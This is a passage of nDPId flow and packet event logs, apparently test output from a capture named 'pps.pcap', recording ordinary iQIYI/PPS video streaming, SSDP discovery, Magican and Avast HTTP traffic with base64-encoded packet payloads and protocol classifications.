{"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"pdata.video.qiyi.com","url":"pdata.video.qiyi.com\/2efc8cd5fbe0f4ee498fb1c2fc1de8b6\/videos\/v0\/20160625\/a5\/bf\/8de9bb946972a88589d1667862292130.f4v?qyid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&qypid=2012","code":0,"content_type":"","user_agent":"HCDNClient_WINPC;libcurl\/7.26.0 OpenSSL\/1.0.1g zlib\/1.2.5;QK\/10.0.0.293"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1081,"source":"pps.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1467353157468,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50493,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01601{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1081,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":468345,"pkt_caplen":946,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":946,"pkt_l4_len":912,"pkt":"TF4M6gNlABxCjnAxCABFAAOkD3JAAIAG2tjAqHMIymwO7MU9AFA84A6MMfAazlAYQTez3QAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6MjM6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTI3NTU4JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1ODg3NCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxNTcwNDYmc2g9JnNxPSZzdz0mdD0zcSZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +01162{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1081,"source":"pps.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1467353157468,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50493,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=&as=1:23:23|45&av=4.10.004&b=180932301&c=31&ct=5000000927558&d=2175&di=&dp=71000001&e=c4889e64ad9d9eeb9ff438910850c442&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=5000000858874&oi=&p=a&pp=&rc=&rd=&ri=&s=1467353157046&sh=&sq=&sw=&t=3q&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=479531000&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +01032{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1082,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":475501,"pkt_caplen":517,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":517,"pkt_l4_len":483,"pkt":"ABxCjnAxTF4M6gNlCABFAAH3iDRAADMGDUtvzg0DwKhzCABQxTzrMASW\/8Wiw1AYAB\/SLQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOS40DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjU2IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDb250ZW50LUxlbmd0aDogMjkwDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KDQp7InQiOiJPVkVSU0VBfFRXX0hpTmV0LTExOC4xNjMuOC45MCIsInoiOiJ0YWliZWlfb3RoZXIiLCJoIjoiLTcyIiwibCI6Imh0dHA6Ly8yMjMuMjYuMTA2LjY2L3ZpZGVvcy92MC8yMDE2MDYyNS9hNS9iZi84ZGU5YmI5NDY5NzJhODg1ODlkMTY2Nzg2MjI5MjEzMC5mNHY\/a2V5PTA3ZWVmMTgyMWUyMzc5ZDMxMzZmZmUxNjA4MjE4NWJhMiZzcmM9aXFpeWkuY29tJnF5aWQ9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcXlwaWQ9MjAxMiZ1dWlkPTc2YTMwODVhLTU3NzYwODQ0LThiIiwiZSI6IjAifQ=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1083,"source":"pps.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1467353157509,"flow_last_seen":0,"flow_tot_l4_data_len":423,"flow_min_l4_data_len":423,"flow_max_l4_data_len":423,"flow_avg_l4_data_len":423,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.66","src_port":50494,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00950{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1083,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":509654,"pkt_caplen":457,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":457,"pkt_l4_len":423,"pkt":"TF4M6gNlABxCjnAxCABFAAG7D3xAAIAGbLPAqHMI3xpqQsU+AFB482xgj\/e7VVAYAQRcuQAAR0VUIC92aWRlb3MvdjAvMjAxNjA2MjUvYTUvYmYvOGRlOWJiOTQ2OTcyYTg4NTg5ZDE2Njc4NjIyOTIxMzAuZjR2P2tleT0wN2VlZjE4MjFlMjM3OWQzMTM2ZmZlMTYwODIxODViYTImc3JjPWlxaXlpLmNvbSZxeWlkPWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnF5cGlkPTIwMTImdXVpZD03NmEzMDg1YS01Nzc2MDg0NC04YiBIVFRQLzEuMQ0KSG9zdDogMjIzLjI2LjEwNi42Ng0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogemgtY24NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IEhDRE5DbGllbnRfV0lOUEM7bGliY3VybC83LjI2LjAgT3BlblNTTC8xLjAuMWcgemxpYi8xLjIuNTtRSy8xMC4wLjAuMjkzDQpSYW5nZTogYnl0ZXM9MzQyNDI1Ni04MDU3MDIzDQoNCg=="} +00922{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1083,"source":"pps.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1467353157509,"flow_last_seen":0,"flow_tot_l4_data_len":423,"flow_min_l4_data_len":423,"flow_max_l4_data_len":423,"flow_avg_l4_data_len":423,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.66","src_port":50494,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"223.26.106.66","url":"223.26.106.66\/videos\/v0\/20160625\/a5\/bf\/8de9bb946972a88589d1667862292130.f4v?key=07eef1821e2379d3136ffe16082185ba2&src=iqiyi.com&qyid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&qypid=2012&uuid=76a3085a-57760844-8b","code":0,"content_type":"","user_agent":"HCDNClient_WINPC;libcurl\/7.26.0 OpenSSL\/1.0.1g zlib\/1.2.5;QK\/10.0.0.293"}} +00605{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1084,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":533198,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5zsFAADMGa3TKbA7swKhzCABQxT0x8BrOPOASCFAYACB8+QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjU3IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1085,"source":"pps.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1467353157509,"flow_last_seen":0,"flow_tot_l4_data_len":423,"flow_min_l4_data_len":423,"flow_max_l4_data_len":423,"flow_avg_l4_data_len":423,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.66","src_port":50494,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1085,"source":"pps.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1467353155790,"flow_last_seen":0,"flow_tot_l4_data_len":649,"flow_min_l4_data_len":649,"flow_max_l4_data_len":649,"flow_avg_l4_data_len":649,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50487,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01032{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1085,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353157,"pkt_ts_usec":718565,"pkt_caplen":517,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":517,"pkt_l4_len":483,"pkt":"ABxCjnAxTF4M6gNlCABFAAH3iDVAADMGDUpvzg0DwKhzCABQxTzrMASW\/8Wiw1AYAB\/SLQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOS40DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjU2IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpDb250ZW50LUxlbmd0aDogMjkwDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KDQp7InQiOiJPVkVSU0VBfFRXX0hpTmV0LTExOC4xNjMuOC45MCIsInoiOiJ0YWliZWlfb3RoZXIiLCJoIjoiLTcyIiwibCI6Imh0dHA6Ly8yMjMuMjYuMTA2LjY2L3ZpZGVvcy92MC8yMDE2MDYyNS9hNS9iZi84ZGU5YmI5NDY5NzJhODg1ODlkMTY2Nzg2MjI5MjEzMC5mNHY\/a2V5PTA3ZWVmMTgyMWUyMzc5ZDMxMzZmZmUxNjA4MjE4NWJhMiZzcmM9aXFpeWkuY29tJnF5aWQ9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcXlwaWQ9MjAxMiZ1dWlkPTc2YTMwODVhLTU3NzYwODQ0LThiIiwiZSI6IjAifQ=="} +00578{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1086,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353158,"pkt_ts_usec":696520,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChLHIAAAER1v7AqAU57\/\/\/+ukAB2wAjbKhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1087,"source":"pps.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1467353159222,"flow_last_seen":0,"flow_tot_l4_data_len":289,"flow_min_l4_data_len":289,"flow_max_l4_data_len":289,"flow_avg_l4_data_len":289,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.15","dst_ip":"68.233.253.133","src_port":65127,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00769{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1087,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353159,"pkt_ts_usec":222383,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"TF4M6gNlKDc3Alz6CABFAAE1+vRAAEAGNqjAqAUPROn9hf5nAFAhJnFt6cGPtIAYEBWfeAAAAQEICiYbloUrIzeaR0VUIC9jb21NYWdpY2FuQXBpL2luZGV4LnBocC9Ub29sQm94L3ZlcnNpb24gSFRUUC8xLjENCkhvc3Q6IGFwaS5tYWdpY2Fuc29mdC5jb20NCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLXR3DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClVzZXItQWdlbnQ6IE1hZ2ljYW4gKHVua25vd24gdmVyc2lvbikgQ0ZOZXR3b3JrLzcyMC41LjcgRGFyd2luLzE0LjUuMCAoeDg2XzY0KQ0KDQo="} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1087,"source":"pps.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1467353159222,"flow_last_seen":0,"flow_tot_l4_data_len":289,"flow_min_l4_data_len":289,"flow_max_l4_data_len":289,"flow_avg_l4_data_len":289,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.15","dst_ip":"68.233.253.133","src_port":65127,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"api.magicansoft.com","url":"api.magicansoft.com\/comMagicanApi\/index.php\/ToolBox\/version","code":0,"content_type":"","user_agent":"Magican (unknown version) CFNetwork\/720.5.7 Darwin\/14.5.0 (x86_64)"}} +00859{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1088,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353159,"pkt_ts_usec":428529,"pkt_caplen":390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":390,"pkt_l4_len":356,"pkt":"KDc3Alz6TF4M6gNlCABFAAF4t91AADUGhHxE6f2FwKgFDwBQ\/mfpwY+0ISZyboAYABs\/NQAAAQEICisjOHomG5aFSFRUUC8xLjEgNTAyIEJhZCBHYXRld2F5DQpTZXJ2ZXI6IE1TZXJ2ZXIgMS4yLjINCkRhdGU6IEZyaSwgMDEgSnVsIDIwMTYgMDU6NDY6MjUgR01UDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KQ29udGVudC1MZW5ndGg6IDE2Ng0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo8aHRtbD4NCjxoZWFkPjx0aXRsZT41MDIgQmFkIEdhdGV3YXk8L3RpdGxlPjwvaGVhZD4NCjxib2R5IGJnY29sb3I9IndoaXRlIj4NCjxjZW50ZXI+PGgxPjUwMiBCYWQgR2F0ZXdheTwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueDwvY2VudGVyPg0KPC9ib2R5Pg0KPC9odG1sPg0K"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1089,"source":"pps.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1467353159731,"flow_last_seen":0,"flow_tot_l4_data_len":396,"flow_min_l4_data_len":396,"flow_max_l4_data_len":396,"flow_avg_l4_data_len":396,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.66","src_port":50494,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00913{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1089,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353159,"pkt_ts_usec":731502,"pkt_caplen":430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":430,"pkt_l4_len":396,"pkt":"TF4M6gNlABxCjnAxCABFAAGgFhZAAIAGZjTAqHMI3xpqQsU+AFB4823zkD5tZ1AYAQS6ZwAAR0VUIC92aWRlb3MvdjAvMjAxNjA2MjUvYTUvYmYvOGRlOWJiOTQ2OTcyYTg4NTg5ZDE2Njc4NjIyOTIxMzAuZjR2Y3JjP2tleT0wN2VlZjE4MjFlMjM3OWQzMTM2ZmZlMTYwODIxODViYTImc3JjPWlxaXlpLmNvbSZxeWlkPWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnF5cGlkPTIwMTImdXVpZD03NmEzMDg1YS01Nzc2MDg0NC04YiBIVFRQLzEuMQ0KSG9zdDogMjIzLjI2LjEwNi42Ng0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogemgtY24NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IEhDRE5DbGllbnRfV0lOUEM7bGliY3VybC83LjI2LjAgT3BlblNTTC8xLjAuMWcgemxpYi8xLjIuNTtRSy8xMC4wLjAuMjkzDQoNCg=="} +00925{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1089,"source":"pps.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1467353159731,"flow_last_seen":0,"flow_tot_l4_data_len":396,"flow_min_l4_data_len":396,"flow_max_l4_data_len":396,"flow_avg_l4_data_len":396,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.66","src_port":50494,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"223.26.106.66","url":"223.26.106.66\/videos\/v0\/20160625\/a5\/bf\/8de9bb946972a88589d1667862292130.f4vcrc?key=07eef1821e2379d3136ffe16082185ba2&src=iqiyi.com&qyid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&qypid=2012&uuid=76a3085a-57760844-8b","code":0,"content_type":"","user_agent":"HCDNClient_WINPC;libcurl\/7.26.0 OpenSSL\/1.0.1g zlib\/1.2.5;QK\/10.0.0.293"}} +00929{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1090,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353159,"pkt_ts_usec":746513,"pkt_caplen":443,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":443,"pkt_l4_len":409,"pkt":"ABxCjnAxTF4M6gNlCABFAAGtzXdAADgG9sXfGmpCwKhzCABQxT6QPm1nePNva1AYACEkXQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjU5IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA3Mg0KTGFzdC1Nb2RpZmllZDogU2F0LCAyNSBKdW4gMjAxNiAyMDo0Nzo0OCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkVUYWc6ICI1NzZlZWRmNC00OCINCkV4cGlyZXM6IFNhdCwgMDEgSnVsIDIwMTcgMDY6MDU6NTkgR01UDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTMxNTM2MDAwDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KDQoBAAAAjem7lGlyqIWJ0WZ4YikhMAAAAADA8HoAAAAAAJ0fBgCdHwYAAAAgAABAAACfagIAEAAAABkBmvdUqrt6QK4cKbQBDrk="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1091,"source":"pps.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1467353160157,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.48","dst_ip":"239.255.255.250","src_port":63930,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00582{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1091,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353160,"pkt_ts_usec":157492,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAAClHaUAAAER5dDAqAUw7\/\/\/+vm6B2wAkVW0TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1091,"source":"pps.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1467353160157,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.48","dst_ip":"239.255.255.250","src_port":63930,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00578{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1092,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353161,"pkt_ts_usec":735509,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChLHMAAAER1v3AqAU57\/\/\/+ukAB2wAjbKhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00582{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1093,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353163,"pkt_ts_usec":154498,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAACljZ0AAAERddjAqAUw7\/\/\/+vm6B2wAkVW0TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00658{"flow_id":54,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1094,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353164,"pkt_ts_usec":710381,"pkt_caplen":238,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":238,"pkt_l4_len":204,"pkt":"TF4M6gNlABxCjnAxCABFAADgGWBAAIAGNr3AqHMITeooYMU2AFCms76HkbqDeFAYAQQ1xQAAUE9TVCAvcHJvdGVjdG9ycyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LWVuYw0KVXNlci1BZ2VudDoge0Q2OTkwNTRELTE2OTktNDdEMi05QjJCLUU5NkY0MzhDMTE2MH0NCkNvbnRlbnQtTGVuZ3RoOiAxODc4DQpIb3N0OiBiY3UuZmYuYXZhc3QuY29tDQoNCg=="} +02120{"flow_id":54,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1095,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353164,"pkt_ts_usec":710685,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"TF4M6gNlABxCjnAxCABFAAUUGWFAAIAGMojAqHMITeooYMU2AFCms78\/kbqDeFAQAQT7iAAAfR2Spx\/Qo+fkfzQSETNuA5NB73a8jE5Y7Kuz18xKNBo3H+8CxutmDfQyXEI6AR6cE+i2neYoQn4zeZtVn\/enKL6brIxvXfYj1gt0F+8KbtUavqrRr6tn4f00ugVMZk2LQmjzbgCKCT5087+gPJ6Nq\/baOGom5C2aC7PTvrXl9hMU1tjTClbpEYnAMCN8l9VwHJUtKM9jqLOPYsglBwhBFVmWhiss90i\/XH7vEuolafmDm9gP8mWoRzKpPyOAXHcgZMBRDccfa4KyKMG55zqL5r5AxCdeTY6DBj6UdUu6oybYOdG6vIvEkD4tnvrz1hO6AbwoiM9mu2xeEbqXkQECXLSqdiA5gkB3GSJ1pSHWxrlOHgFiIoy4C\/hI85\/YxB9+a49yOTWLzWghOHln6jeXDw2Oa0x8gAR5dlayLrv7S8lQ4PhT+uVqpzFbyKmRAtbPIYHFNSX62sI4p0rkh2pIiTItOu\/uWGxY3HuCG91oYdcWFO42\/W\/GJe01f+DDDte4wuMZ3tsH5XT1CxQk49k2F2SAHwDDZLfgrHNoSsS+4+Z4IzQ181NHgG3BjomptLiSytpX+gND